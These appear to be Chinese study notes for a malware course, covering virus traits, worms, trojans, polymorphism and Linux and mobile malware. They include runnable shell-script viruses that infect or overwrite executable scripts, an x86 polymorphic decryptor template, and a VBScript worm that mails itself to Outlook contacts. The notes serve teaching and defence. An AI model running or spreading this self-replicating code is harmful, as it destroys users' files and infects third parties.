**判断:**计算机不可能因为仅仅读了一封电子邮件而感染病毒;计算机病毒不可能损害硬件;计算机病毒不可能感染一张有写保护的软盘(磁盘);计算机不可能因为浏览一个图形文件而感染病毒;都是错的!
病毒的定义:
计算机病毒的特性:
**寄生性:**计算机病毒都不是独立存在的,而是寄生于其他的程序中,当执行该程序时,病毒代码就会被执行。在正常程序未启动之前,用户不易察觉到病毒的存在。
**破坏性:**对计算机数据信息的直接破坏,如引导区、FAT表等,甚至格式化硬盘等,占用系统资源(内存、CPU时间等),干扰系统的正常工作(如显示不正常),删除、修改磁盘上的文件或毁坏整个系统,对计算机硬件的破坏(CIH),盗版及泄露信息等,网络病毒破坏网络系统
**传染性:**是计算机病毒的重要特征,病毒可以从一个程序传染到另一个程序,从一个计算机或一个网络传染到另一个计算机或网络。
**隐蔽性:**病毒潜入系统后,不一定立即发作,可以长时间的潜伏,不易被用户发现,也不影响系统的正常运行。在一定条件下,传染机制被激活,则进入传染期,破坏机制被激活时,则进行破坏。一方面是指病毒进入系统并进行传播时,多数没有外部表现,不易被用户察觉;另一方面是指病毒程序隐蔽在正常程序或某种介质中。
**触发(潜伏)性:**1)触发其感染:即在一定的条件下激活一个病毒的感染机制使之进行感染;2)触发其发作:即在一定的条件下激活病毒的表现部分。
隐蔽性与触发性的区别:隐蔽性是传播或感染时不易被用户察觉,触发性是一直潜伏在电脑中,直到达到触发条件时才进行感染或传播。
病毒的发展趋势:
病毒更新换代向多元化发展,依赖网络进行传播,攻击方式多样(邮件,网页,局域网等),利用系统漏洞成为病毒有力的传播方式,病毒与黑客技术相融合等等……
计算机病毒的主要危害:
病毒的分类:
按存在的媒体:①网络病毒:通过计算机网络传播感染网络中的可执行文件;②文件病毒:感染计算机中的文件(如:COM,EXE,DOC等);③引导型病毒:感染启动扇区(Boot)和硬盘的系统引导扇区(MBR);④混合型病毒:是上述三种情况的混合。例如:多型病毒(文件和引导型)感染文件和引导扇区两种目标,这样的病毒通常都具有复杂的算法,它们使用非常规的办法侵入系统,同时使用了加密和变形算法。
【Q&A】病毒寄生的位置有哪些?文件病毒:感染计算机中的文件(如:COM,EXE,DOC等);引导型病毒:感染启动扇区(Boot)和硬盘的系统引导扇区(MBR);
按传染方式:①引导扇区传染病毒:主要使用病毒的全部或部分代码取代正常的引导记录,而将正常的引导记录隐藏在其他地方。②执行文件传染病毒:寄生在可执行程序中,一旦程序执行,病毒就被激活,进行预定活动。③网络传染病毒:这类病毒是当前病毒的主流,特点是通过互联网络进行传播。例如,蠕虫病毒就是通过主机的漏洞在网上传播。
按病毒破坏能力:①无害型:除了传染时减少磁盘的可用空间外,对系统没有其它影响。②无危险型:这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。③危险型:这类病毒在计算机系统操作中造成严重的错误。④重度危险型:这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。
按病毒算法:①伴随型病毒:这一类病毒并不改变文件本身,它们根据算法产生EXE文件的伴随体,具有同样的名字和不同的扩展名(COM),例如:XCOPY.EXE的伴随体是XCOPY.COM。病毒把自身写入COM文件并不改变EXE文件,当DOS加载文件时,伴随体优先被执行到,再由伴随体加载执行原来的EXE文件。②蠕虫型病毒:通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其它机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其它资源③寄生型病毒:依附在系统的引导扇区或文件中,通过系统的功能进行传播。④练习型病毒:病毒自身包含错误,不能进行很好的传播,例如一些病毒在调试阶段。⑤变形病毒:这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的作法是一段混有无关指令的解码算法和经过变化的病毒体组成。
按计算机病毒的链结方式:①源码型病毒:该病毒攻击高级语言编写的程序,该病毒在高级语言所编写的程序编译前插入到原程序中,经编译成为合法程序的一部分。②嵌入型病毒:这种病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。这种计算机病毒是难以编写的,一旦侵入程序体后也较难消除。如果同时采用多态性病毒技术,超级病毒技术和隐蔽性病毒技术,将给当前的反病毒技术带来严峻的挑战。③外壳型病毒:外壳型病毒将其自身包围在主程序的四周,对原来的程序不作修改。这种病毒最为常见,易于编写,也易于发现,一般测试文件的大小即可知。④操作系统型病毒:这种病毒用自身的程序加入或取代部分操作系统进行工作,具有很强的破坏力,可以导致整个系统的瘫痪。圆点病毒和大麻病毒就是典型的操作系统型病毒。
Which kind of virus?(判断)
这种病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。这种计算机病毒是难以编写的,一旦侵入程序体后也较难消除。如果同时采用多态性病毒技术,超级病毒技术和隐蔽性病毒技术,将给当前的反病毒技术带来严峻的挑战。(嵌入型病毒)
通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其它机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其它资源。(蠕虫型病毒)
该病毒攻击高级语言编写的程序,该病毒在高级语言所编写的程序编译前插入到原程序中,经编译成为合法程序的一部分。(源码型病毒)
这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。(无危险型)
寄生在可执行程序中,一旦程序执行,病毒就被激活,进行预定活动。(执行文件传染病毒)
感染启动扇区(Boot)和硬盘的系统引导扇区(MBR)。(引导型病毒)
将其自身包围在主程序的四周,对原来的程序不作修改。这种病毒最为常见,易于编写,也易于发现,一般测试文件的大小即可知。(外壳型病毒)
移动通信系统:
染毒计算机的症状:
计算机病毒的命名规则:
病毒防治的公理:
企业网络中的病毒防治策略:(见11章)
蠕虫的定义:
病毒与蠕虫的区别:
A:计算机病毒是一段代码,能把自身加到其它程序包括操作系统上。它不能独立运行,需要由它的宿主程序运行来激活它。蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。
蠕虫定义的进一步说明:
**蠕虫分类:**根据蠕虫的传播、运作方式,可以将蠕虫分为两类
蠕虫的基本结构:
蠕虫的工作方式与扫描策略:
为什么蠕虫的出现是病毒技术发展的里程碑事件?
A:蠕虫的自我移动、自我复制特性,改变了以往病毒点对点的传播方式,进入了网络传播、指数级扩散的新时代。
辨析:蠕虫不具有破坏性?
A:蠕虫本身并不具备破坏功能。但是蠕虫的蠕虫的自我移动、自我复制特性,会消耗系统资源、降低网络性能。
蠕虫传播模型:
蠕虫:具有主动攻击特征,不需要计算机使用者的参与,攻击对象是计算机系统。
病毒:一般是被动传播,要有计算机使用者的参与,攻击对象是文件系统。
SI (Susceptible-Infected)
适用于只有易感程序和已感染程序两类,且不会反复感染的病毒。
易感程序被计算机病毒传染后,变为已感染程序,无潜伏期、无杀毒恢复的情况、无免疫力。
SIS (Susceptible-Infected-Susceptible)
适用于只有易感程序和已感染程序两类,但会反复感染的病毒。
易感程序被计算机病毒传染后,变为已感染程序,可被杀毒再次变为易感程序,无潜伏期、无免疫力。
SIR (Susceptible-Infected-Removed) 易感,感染,康复
如何遏制蠕虫的传播?
蠕虫的行为特征:
蠕虫的检测与清除:
计算机病毒的工作机制:
病毒有哪些模块,分为哪些状态?
四大模块:
感染模块
病毒传染的条件:
被动传染(静态时):用户在进行拷贝磁盘或文件时,把一个病毒由一个载体复制到另一个载体上。或者是通过网络上的信息传递,把一个病毒程序从一方传递到另一方。
主动传染(动态时):以计算机系统的运行以及病毒程序处于激活状态为先决条件。在病毒处于激活的状态下,只要传染条件满足,病毒程序能主动地把病毒自身传染给另一个载体或另一个系统。
传染过程:系统(程序)运行 -> 各种模块进入内存 -> 按多种传染方式传染
**传染方式:**立即传染,即病毒在被执行的瞬间,抢在宿主程序开始执行前,立即感染磁盘上的其他程序,然后再执行宿主程序;驻留内存并伺机传染,内存中的病毒检查当前系统环境,在执行一个程序、浏览一个网页时传染磁盘上的程序,驻留在系统内存中的病毒程序在宿主程序运行结束后,仍可活动,直至关闭计算机。
**文件型病毒传染机理:**首先根据病毒自己的特定标识来判断该文件是否已感染了该病毒;当条件满足时,将病毒链接到文件的特定部位,并存入磁盘中;完成传染后,继续监视系统的运行,试图寻找新的攻击目标。
**文件型病毒传染途径:**加载执行文件;浏览目录过程;创建文件过程
触发模块
触发条件:计算机病毒在传染和发作之前,往往要判断某些特定条件是否满足,满足则传染或发作,否则不传染或不发作或只传染不发作,这个条件就是计算机病毒的触发条件。
触发模块的目的是调节病毒的攻击性和潜伏性之间的平衡:大范围的感染行为、频繁的破坏行为可能给用户以重创,但是,它们总是使系统或多或少地出现异常,容易使病毒暴露;而不破坏、不感染又会使病毒失去其特性;可触发性是病毒的攻击性和潜伏性之间的调整杠杆,可以控制病毒感染和破坏的频度,兼顾杀伤力和潜伏性。
破坏模块(表现模块)
破坏是Vxer的追求,病毒魅力的体现
破坏模块的功能:破坏 破坏的程度:?
破坏对象:系统数据区、文件、内存、系统运行速度、磁盘、CMOS、主板和网络等。
【破坏功能越大越好吗?】不是,破坏功能越大越容易被发现,也更加容易被清除。
引导模块(主控模块)
引导前——寄生 寄生位置:引导区,可执行文件
寄生手段:替代法(寄生在引导区中的病毒常用该法)链接法(寄生在文件中的病毒常用该法)
引导过程:驻留内存,窃取系统控制权,恢复系统功能
(1)引导区病毒引导过程:搬迁系统引导程序 -> 替代为病毒引导程序;启动时 -> 病毒引导模块 -> 加载传染、破坏和触发模块到内存 -> 使用常驻技术;最后,转向系统引导程序 -> 引导系统
(2)文件型病毒引导过程:修改入口指令 -> 替代为跳转到病毒模块的指令;执行时 -> 跳转到病毒引导模块 -> 病毒引导模块 -> 加载传染、破坏和触发模块到内存 -> 使用常驻技术;最后,转向程序的正常执行指令 -> 执行程序
两个状态:静态,动态
COM文件病毒原理:
病毒如何感染其他文件:
病毒的重定位技术:
**为什么需要重定位?**正常程序的变量和函数的相对地址都是预先计算好的;病毒是附加在宿主程序中的程序段,其问题在于:病毒变量和病毒函数的相对地址很难计算;解决方法:动态找一个参照点,然后再根据参照点的地址确定病毒函数和病毒变量的地址。
重定位代码:
call delta
delta: pop ebp
…
lea eax,[ebp+(offset var1-offset delta)]
lea指令获取指针的地址
参照量delta在内存中的地址 + 变量var1与参考量之间的距离 = 变量var1在内存中的真正地址
从ring3到ring0的概述:
ring0意味着更多的权力,可以直接执行诸如访问端口等操作,通常应用程序运行于ring3,这样可以保护系统安全。
驻留内存:
驻留内存的两类办法:作为设备驱动程序加载;申请分配内存。
DOS内存驻留程序(TSR,即退出并驻留内存)可使用两种方法:通过在CONFIG.SYS中作为设备驱动程序加载;调用DOS中断INT 21H(或INT 27H)。
**引导区病毒的内存驻留:**较小,大小在1K或者几K;为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待DOS完全启动成功,然后使用DOS自己的功能分配内存;引导区内存驻留程序不包括重入检测部分,因为引导区病毒只在系统启动时加载一次。
**Windows内存驻留:**由于Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数;另外一种方法是使用DPMI(DOS Protected Mode Interface)申请一块系统内存,然后将病毒代码放到这块内存中;第三种方法是将病毒作为一个VXD(Win3.x或者Win9x环境下的设备驱动程序)或者在Win NT/Win2000下的设备驱动程序(WDM)加载到内存中运行。
宏病毒的内存驻留方法:病毒随着宿主程序(word和excel)而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。宏病毒通过检测自己的特征防止重入。大部分驻留内存的病毒都会在加载前,检查内存状态,避免重载。这种机制导致了一种简易的反病毒技术——使用一个程序设置内存\CPU\文件的特征、状态,防治特定的病毒进入系统。
病毒变种:
通过修改病毒代码,使其躲过现有病毒检测程序,新出现的病毒称为变形。
变种—>新品种:变形了的病毒继承父本病毒的主要特征时,称为变种,如果变形病毒已具备足以区别于父本病毒的特征时,称为新品种,而非变种。
**两种方式:**手工变种;自动变种(Mutation Engine:变形机)保加利亚的Dark Avenger的变形机最著名。
变种分类:
①具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。
②除了具备一维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。
③具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。这里称其为三维变形病毒。
④具备三维变形病毒的特性,并且,这些特性随时间动态变化。例如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。
抗分析技术:
加密技术:这是一种防止静态分析的技术,使得分析者无法在不执行病毒的情况下,阅读加密过的病毒程序。
反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。
DOS下,1575病毒将堆栈指针指向INT 0~INT 3中断:以阻止利用DEBUG调试软件对其跟踪。因为在PC系统中,中断0-3是特殊中断,其功能被强制约定,若此4中断内容被破坏,则执行到相应功能时系统就无法正常运行。DEBUG程序用到这些中断,1575病毒破坏了堆栈寄存器的指向,将其引向这几个中断向量处,如果没有分析清楚这几条反跟踪措施指令的作用,只用DEBUG去跟踪执行1575病毒的代码,则进行不下去。
Windows下,多样化的反动态跟踪技术:
**封锁键盘输入:**在执行过程中不需要键盘支持时,先封锁键盘输入,跟踪者无法输入指令。不影响程序运行,跟踪者却不能跟踪指令。**关闭屏幕显示:**无须屏幕显示时,关闭屏幕,使动态跟踪无法看到真实的信息。**修改堆栈指令:**使其指向跳转地址,程序更加隐蔽,使反汇编失败无法正常执行。**程序运行计时:**正常运行和被跟踪运行的时间差异很大。运行时间计时以判断是否被跟踪。**动态地生成指令代码:**程序进行变形,使其成为不可读的程序。程序自身在分段运行中,动态逐步还原,并在运行之后自动消除。增加阅读和分析难度。即使反汇编出来,也不能看到程序全部信息。
代码:
#infection
for file in ./* ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s sh $file > /dev/nul ; then # 把错误丢弃
head -n 2 $file > .mm
if grep -s infection .mm > /dev/nul ; then # 判断是否为脚本程序
rm -f .mm ; else
head -n 14 $0 > .SAVEE #把病毒代码放在脚本文件的开始部分
cat $file >> .SAVEE #原有代码追加在末尾
cat .SAVEE > $file #形成含有病毒代码的脚本文件
fi fi fi
done
rm -f .SAVEE .mm # 清理工作
简化版:
#infection
head -n 35 $0 > .test1
for file in ./*
do
echo $file
head -n 2 $file > .mm
if grep infection .mm > .mmm
then
echo "infected file and rm .mm"
rm -f .mm
else
if test -f $file
then
echo "test -f"
if test -x $file
then
echo "test -x"
if test -w $file
then
echo "test -w"
if grep -s sh $file > .mmm
then
echo "test -s and cat..."
cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分
cat .test1 > $file #原有代码追加在末尾
cat .SAVEE >> $file #形成含有病毒代码的脚本文件
fi
fi
fi
fi
fi
done
rm .test1 .SAVEE .mmm .mm –f
文件型病毒的隐藏技术:
拦截(API, INT调用)访问 —>恢复 —>再感染:替换操作系统或者BIOS的文件系统相关调用,在打开文件的时候,将文件的内容恢复到未感染的状态,关闭文件时重新感染。方式多样,如下:
可以使用特殊工具查看磁盘,其不通过DOS中断获得文件大小,可以看到感染病毒后文件的实际大小,检测出病毒。
多态性病毒技术:
定义:多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。
**方法:**使用不固定的密钥或者随机数加密病毒代码;运行的过程中改变病毒代码;通过一些奇怪的指令序列实现多态性。
使用加密技术的多态性:
MOV reg_1, count
MOV reg_2, key
MOV reg_3, offset
//其中,reg_1、reg_2和reg_3是从AX、BX、CX、DX、SI、DI、BP中随机挑选的寄存器,感染不同的文件,解密代码使用随机的寄存器count是加密数据的长度,key是加密的密钥,offset是加密代码的偏移量,感染的时候,这些数值都是随机生成的,不同的感染都不一样
LOOP:
xxx byte ptr [reg_3],reg_2//xxx是XOR、ADD、SUB等不同运算指令的通称,使用什么运算指令是感染的时候随机选择的
DEC reg_1
Jxx LOOP //Jxx是ja、jnc等不同条件跳转指令的通称,使用什么跳转指令也是感染的时候随机选择的
加密后的病毒代码
这段代码的作用是将预先加密的病毒代码解密,然后跳转到病毒代码中。 这段解密代码和加密后的病毒都是在感染时动态生成的,使用的寄存器、密钥、加密代码的长度等,甚至解密使用的指令都是随机的。无法找到固定特征码。
多态的计算!!!!!!
对于以上的代码计算多态: 7 ∗ 6 ∗ 5 ∗ 2 ∗ 2 ∗ 2 ∗ 3 ∗ 2 = 10080 7*6*5*2*2*2*3*2=10080 7∗6∗5∗2∗2∗2∗3∗2=10080
多态病毒的级别:
**半多态:**病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。
**具有不动点的多态:**病毒有一条或者几条语句是不变的(把这些不变的语句叫做不动点),其他病毒指令都是可变的。
**带有填充物的多态:**解密代码中包含一些没有实际用途的代码来干扰分析者的视线。
**算法固定的多态:**解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。
**算法可变的多态:**使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。
**完全多态:**算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。
查杀技术:
对于前面3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码;对于第4种多态病毒,可以增加多种情况的改进后的特征码;至于第5和第6种多态病毒,依靠传统的特征码技术是完全无能为力的;最好的办法是虚拟执行技术:让解密代码自己解密完成之后,再使用通常的特征码识别法进行病毒检测。
破坏性感染技术:
病毒自动生产技术:
木马的定义:
特洛伊木马是广义病毒的一个子类;是一种基于远程控制的黑客工具,是黑客的主要攻击手段之一;
相比这些合法的远程控制软件,木马有什么特殊性?木马与合法远程控制软件的主要区别在于是否具有隐蔽性、是否具有非授权性。
定义:特洛伊木马,简称木马,是一种恶意程序,是一种基于远程控制的黑客工具,一旦侵入用户的计算机,就悄悄地在宿主计算机上运行,在用户毫无察觉的情况下,让攻击者获得远程访问和控制系统的权限,进而在用户的计算机中修改文件、修改注册表、控制鼠标、监视/控制键盘,或窃取用户信息。现代网络攻击者利用木马,采用伪装、欺骗等手段进入被攻击的计算机系统中,窃取信息,实施远程监控。
木马与病毒:一般情况下,病毒是依据其能够进行自我复制即传染性的特点而定义的;特洛伊木马主要是根据它的有效载体,或者是其功能来定义的,更多情况下是根据其意图来定义的;木马一般不进行自我复制,但具有寄生性,如捆绑在合法程序中得到安装、启动木马的权限,DLL木马甚至采用动态嵌入技术寄生在合法程序的进程中;木马一般不具有普通病毒所具有的自我繁殖、主动感染传播等特性,但我们习惯上将其纳入广义病毒,也就是说,木马也是广义病毒的一个子类。
**特洛伊木马的结构:**木马系统软件一般由木马配置程序、控制程序和木马程序(服务器程序)三部分组成:
**木马程序:**也称作服务器程序,驻留在受害者的系统中,非法获取其操作权限,负责接收控制指令,并根据指令或配置发送数据给控制端。**木马配置程序:**设置木马程序的端口、触发条件等,使其在服务器端更隐蔽。控制程序:控制程序控制远程木马服务器,有些控制程序集成了木马的配置功能。有时配置程序和控制程序集成在一起,统称为控制端(客户端程序),负责配置服务器给服务器发指令,同时接受服务器传送来的数据,因此,一般的木马都是C/S结构。
与传统C/S结构不同:木马程序端(被控制端)为服务器端,木马控制端为客户端。
**木马的最终意图:**窃取信息、实施远程监控。
木马的基本原理:
木马的特性:
木马按传输方式分类:
为了逃避检测,高明的攻击者会研发不需要新建连接和端口的木马。如何隐藏木马的进程、连接和端口?此类木马又该如何防护?
反弹式木马技术、寄生型和潜伏型端口隐藏技术、不使用进程的木马技术、木马的秘密信道技术。
防范:使用定制的个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则,可对付存在于计算机内部的各种不法程序对网络的应用。当计算机内部的应用程序访问网络时,必须经过防火墙内墙的审核。合法的应用程序被审核通过,而非法的应用程序将会被防火墙的“内墙”所拦截。
木马的远程监控技术:
检测和清除木马的一般方法:
广外女生案例:
简介:该木马把启动项设在HKLM\ SOFTWARE \Classes\exefile\shell\open\command\下,这个注册表项的作用是定义运行可执行文件的格式木马将HKLM\ SOFTWARE \Classes\exefile\shell\open\command\下的键值由原来的“"%1" %*”修改为“C:\WINDOWS\System32\DIAGCFG.EXE “%1” %*”,包含了木马程序DIAGCFG.EXE,此后每次再运行任何可执行文件时都要先运行DIAGCFG.EXE,即启动木马。
木马端口:Fport可用来列出系统中所有打开的TCP/IP和UDP端口,以及它们对应应用程序的完整路径、PID标识、进程名称等信息的软件。在命令行中运行fport.exe,可以看到:
清除木马
–由于“广外女生”木马自启动项的特殊性,如果先删除C:\WINDOWS\System32\目录下的DIAGCFG.EXE,将无法在系统中运行任何可执行文件。因此,清除该木马应按如下步骤,不能颠倒:
按“开始”菜单,选择“运行”,输入regedit,按确定,打开下面键值:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\,但是不要修改,因为如果这时就修改注册表,DIAGCFG.EXE进程仍然会立刻把它改回来
打开“任务管理器”,找到DIAGCFG.EXE这个进程,选中它,按“结束进程”来关掉这个进程。注意,一定也不要先关进程再打开注册表管理器,否则执行regedit.exe时又会启动DIAGCFG.EXE
把HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\
的键值由原来的“C:\WINDOWS\System32\DIAGCFG.EXE “%1”%*”改为“"%1"%*”。这样,即使不删除DIAGCFG.EXE文件,只要用户不再双击运行之,木马就会因无激活机会而不能继续实施破坏
删除C:\WINDOWS\System32\目录下的DIAGCFG.EXE,如果要深入分析这个木马,可以在该步中不删除它,而是把它拷贝到其他的目录以便研究。
为什么宏病毒的传播如此快捷、感染面如此之大?
定义:
支持宏病毒的应用系统特点:
宏病毒都是内存驻留病毒?
宏病毒的特点:
宏病毒感染过程:
宏病毒的工作机理:
可以通过哪些现象发现宏病毒?
【辨析】
Linux是一片没有被病毒感染过的乐土,向来给人“安全操作系统”的印象。
由于类Linux系统具有内存保护机制,所以人们不太相信类Linux系统上病毒的危害性会超过Windows和DOS系统,
很多高性能的安全操作系统可以预防计算机病毒。
Linux系统尤其可以防止病毒的感染,因为Linux的程序都来自于源代码,不是二进制格式。
存在这样一个误区,就是认为Linux系统是绝对安全的,因为它具有很多不同的平台,而且每个版本的Linux系统有很大的不一样。
【知识】
Linux病毒分类:
Shell脚本病毒:病毒第一个问题就是传播,为了使各平台兼容,首先想到的是shell脚本语言。Shell脚本病毒简单,危害性不大,且容易被发现因为是以明文方式编写并执行的。通常一个用户会执行任何脚本,而不会过问脚本的由来,这就成为了病毒的目标。应加强对病毒的防范意识。
【判断】Linux的Shell脚本病毒是以明文方式编写并执行的容易被发现。Shell在不同的Linux系统上的差别很小。(都对)
蠕虫病毒:利用已知的攻击程序,针对某漏洞去获得目标机的管理员权限。但是蠕虫的时效性也是很短暂的,若该病毒所利用的漏洞被修补,则该蠕虫也就失去作用了。此外,蠕虫的跨平台能力差,因为是针对特定版本的程序。
欺骗库函数:把标准的库函数替换成你自己的程序。愚弄专业知识不强的用户。
内核级的传播:这类病毒可以传染内核映像,这样就可以控制系统的方方面面,但尚处于理论阶段,没有真正实现。
与平台兼容的病毒:跨各个不同版本的Linux。用标准C来书写病毒代码,利用ELF格式的二进制文件来做病毒。
【代码】
#shellvirus I#
for file in ./infect/*
do
cp $0 $file
done
功能:遍历当前目录中子目录infect中的所有文件,然后覆盖它们。
如果认为威力不够,可以用“for file in *”。
Linux是多用户操作系统,其文件具有保护模式,上述脚本会报错,从而被发现。因此,作如下改进,增加隐蔽性。
#shellvirus II#
for file in ./infect/*
do
if test -f $file #判断是否为文件
then
if test -x $file #判断是否可执行
then
if test -w $file #判断是否有写权限
then
if grep –s sh $file > .mmm #判断是否为shell脚本文件
then
cp $0 $file #覆盖当前文件(破坏该系统中所有脚本程序,危害较大)
fi
fi
fi
fi
done
rm .mmm -f
#shellvirus III#
#infection
head -n 35 $0 > .test1 #取病毒自身代码并保存到.test
for file in ./* #遍历当前目录中的文件
do
echo $file
head -n 1 $file > .mm #提取要感染的脚本文件的第一行
if grep infection .mm > .mmm #判断是否有感染标记infection
then #已经被感染,则跳过
echo "infected file and rm .mm"
rm -f .mm
else #尚未感染,继续执行
if test -f $file
then
echo "test -f"
if test -x $file
then
echo "test -x"
if test -w $file
then
echo "test -w"
if grep -s sh $file > .mmm
then
echo "test -s and cat..."
cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分
cat .test1 > $file #原有代码追加在末尾
cat .SAVEE >> $file #形成含有病毒代码的脚本文件
fi
fi
fi
fi
fi
done
rm .test1 .SAVEE .mmm .mm –f #清理工作
#ShellVirus IV#
#infection
for file in ./* ; do #分号(;)表示命令分隔符
if test -f $file && test -x $file && test -w $file ; then
if grep -s sh $file > /dev/nul ; then
head -n 1 $file > .mm
if grep -s infection .mm > /dev/nul ; then
rm -f .mm ; else
head -n 14 $0 > .SAVEE
cat $file >> .SAVEE
cat .SAVEE > $file
fi fi fi
done
rm -f .SAVEE .mm
精简了代码,增加了阅读困难。
#ShellVirus V#
#infection
xtemp=$pwd #保存当前路径
head -n 22 $0 > /.test1
for dir in ./* ; do #遍历当前目录
if test -d $dir ; then #如果有子目录则进入
cd $dir
for file in ./* ; do #遍历该目录文件
if test -f $file && test -x $file && test -w $file ; then
if grep -s sh $file > /dev/nul ; then
head -n 1 $file > .mm
if grep -s infection .mm > /dev/nul ; then
rm -f .mm ; else
cat $file > /.SAVEE #完成感染
cat /.test1 > $file
cat /.SAVEE >> $file
fi fi fi
done
cd ..
fi
done
cd $xtemp
rm -f /.test1 /.SAVEE .mm #清理工作
仅感染了当前目录的下一层目录。可以增加几个循环,感染更深层次的目录,也可定位到根目录。
脚本病毒实现技术简单,但很实用,比如:下载后门程序到本机,自动开后门;主动攻击英特网中的其他计算机;获取用户的电子邮件来发送染毒程序等。
【知识】
ELF格式文件病毒感染原理
**无关ELF格式的感染方法:**即简单感染,它没有涉及任何可执行文件的内容,直接使用可独立执行的病毒代码。多种情况下这种病毒会破坏原宿主文件最终造成原宿主文件得不到执行,这种方法很容易被发现,与病毒的隐蔽性相悖。这种破坏式传染的病毒在感染一个文件后就很难继续传播,因为一方面它易于被发现移除,另一方面造成大量文件被破坏从而导致系统损害,得不偿失。
①覆盖式感染:有些病毒会覆盖宿主程序的某一部分,将自身嵌入其中,以达到不改变染毒文件长度的目的。此类病毒感染的宿主程序无法复原。(无法安全消除)病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。
②追加式感染 :将病毒体直接追加到宿主文件中,或者将宿主追加到病毒体之后,并不存在覆盖宿主文件的行为,从而宿主文件被感染成单纯的病毒体和原宿主文件的合体,在病毒文件执行后交换控制权给宿主文件。
【覆盖式破坏宿主文件,追加式不破坏】
利用ELF格式的感染方法:与ELF格式相关的感染方法,需要根据ELF格式来改变ELF格式内容,从而使病毒代码和宿主代码共存并且病毒代码执行结束后能顺利交接控制权给宿主。向ELF文件中插入寄生病毒代码要求宿主文件和病毒体都是完整的,因此插入的病毒代码会造成段的使用大小增加。
①利用文本段之后填充②数据段之后插入感染③文本段之前插入感染④利用函数对齐填充区感染⑤利用NOTE段或者扩展.note节
【判断】尺寸越大的病毒能够感染的可执行文件越少。正确!
高级感染技术:前述两种感染技术最多只能感染一些应用程序,因此只是停留在感染用户层次上的可执行文件。另一种用户层次上的高级感染方式是通过截获PLT或者GOT表来实现。若要上升到内核层次的病毒感染就是高级感染,这就需要感染内核的模块。对Linux最致命的病毒攻击方式就是感染Linux内核,也就是使用Linux的LKM。
①LKM感染技术(唯一内核级!!!),在Linux操作系统中被广泛使用,主要的原因就是LKM具有相对灵活的使用方式和强大的功能,可以被动态地加载,而不需要重新编译内核。同样,在另一个方面,对于病毒而言,也有很多好处,比如隐藏文件和进程等,但是使用LKM是比较麻烦的,需要较高的技术要求。LKM内核模块也属于ELF目标文件,但是区别于一般的应用程序,属于系统级,用来扩展Linux内核功能。LKM可以很容易地动态加载到内核中去而不需要重新编译内核。通常LKM是用来加载一些设备驱动,可以捕获系统调用,功能强大。
②PLT/GOT劫持实现
为什么智能化功能在给用户带来便利的同时,也带来了潜在的安全问题:
移动终端:
手机病毒:
移动终端恶意代码:
移动终端操作系统:
移动终端操作系统弱点:
移动终端恶意代码传播途径:
移动终端恶意代码攻击方式:
恶意代码生存环境:
移动终端恶意代码产生契机:
移动终端恶意代码的防范:
邮件病毒分类:
代码:
•Outlook传播的病毒基本上都是由VBScript编写的。
•VBScript(*Q)
–Set fso=CreateObject("Scripting.FileSystemObject")
–fso.GetFile(WScript.ScriptFullName).Copy("C:\temp.vbs") # 当前运行脚本的文件路径
•这么两行代码就可以将自身复制到c盘根目录下temp.vbs这个文件。
Set ola=CreateObject("Outlook.Application")
On Error Resume Next # 如果有错误则继续运行
For x=1 To 50
Set Mail=ola.CreateItem(0) # 创建电子邮件
Mail.to=ola.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) # 支持的唯一数据来源为"MAPI"
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:\temp.vbs")
Mail.Send
Next
ola.Quit
